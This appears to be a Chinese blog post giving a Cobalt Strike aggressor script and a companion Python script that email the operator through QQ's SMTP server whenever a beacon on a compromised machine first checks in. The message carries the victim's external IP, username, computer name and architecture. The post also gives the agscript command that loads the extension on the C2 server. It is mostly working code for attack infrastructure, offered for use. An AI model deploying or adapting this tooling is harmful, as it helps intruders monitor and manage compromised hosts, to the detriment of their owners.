cs上线qq邮件通知

0x01.两个文件

1.sme.cna

使用sme脚本监控上线, 然后调用python脚本执行发邮件

#Sme.cna
#Config
$Switch = "on"; #开关
#Config


on beacon_initial { # 在Beacon 初始化时执行,也就是上线时执行

    if ($Switch eq "on"){ #判断开关是否为on
        action("\c9Sending SME......"); # 调试信息发送到CS的公屏上,代表邮件正在发送
        $IP = beacon_info($1, "external"); #取上线主机IP
        $User = beacon_info($1, "user"); #取上线主机用户名
        $ComName = beacon_info($1, "computer"); #取上线主机计算机名
        $Arch = beacon_info($1, "arch"); #取上线主机架构
        @Curl_command = @('python3', '/tmp/sme.py'  ,$IP,$User,$ComName,$Arch); #定义执行邮件发送脚本命令, sme.py一定要写服务器的绝对路径,并且要有执行权限
        exec(@Curl_command); #执行邮件发送命令
        println(@Curl_command);
        action("\c9Send SME Done: ".$ComName."!");
    }
}

2.sme.py

import sys

import smtplib  # smtplib发送邮件
from email.mime.text import MIMEText  # 构造文本内容
from email.header import Header  # 构造标题内容


def post_email(ip, username, computer_name, arch):
    # 设置服务器地址
    mail_host = "smtp.qq.com"
    # 设置服务器端口
    mail_port = 465

    # QQ邮件登录账号
    mail_user = "273xxxxxx"
    # QQ邮箱第三方授权码
    mail_pass = "xxxxxxx"

    # 初始化发送方账号
    sender = "27xxxxx@qq.com"
    # 初始化接收方账号
    receivers = "273xxxxxxx@qq.com"
    # 构造文本对象,三个参数:文本内容,设置文本格式,设置编码
    data = f"""上线主机IP:{ip}
上线主机用户名:{username}
上线主机计算机名:{computer_name}
上线主机架构:{arch}
"""

    message = MIMEText(data, "plain", "utf-8")
    # 文本对象 添加 发送者
    message["From"] = sender
    # 文本对象 添加 接收者
    message["To"] = receivers
    # 文本对象 添加 标题
    message["Subject"] = Header("至风一样男子的邮件")

    # 创建 SMTP 对象,连接目标服务器
    smtpObj = smtplib.SMTP_SSL(mail_host, mail_port)
    # 自己账号登录
    smtpObj.login(mail_user, mail_pass)
    # 发送邮件到目标地址  注意:信息由MTMEText对象 转为 字符串对象
    smtpObj.sendmail(sender, receivers, message.as_string())
    # 结束 SMTP 对象
    smtpObj.quit()


if __name__ == '__main__':
    ip = sys.argv[1]
    username = sys.argv[2]
    computer_name = sys.argv[3]
    arch = sys.argv[4]
    post_email(ip, username, computer_name, arch)

3.注意事项

根据个人配置,修改两个文件相应的内容
# 1.邮件发送方需要开通smtp服务,获取授权码
# 2.sme.py需要有执行(x)权限
# 3.cs服务端后台加载扩展脚本的命令
nohup ./agscript cs的ip cs的端口 任意用户名 密码 插件路径 &
原文地址:https://www.cnblogs.com/xcymn/p/15721403.html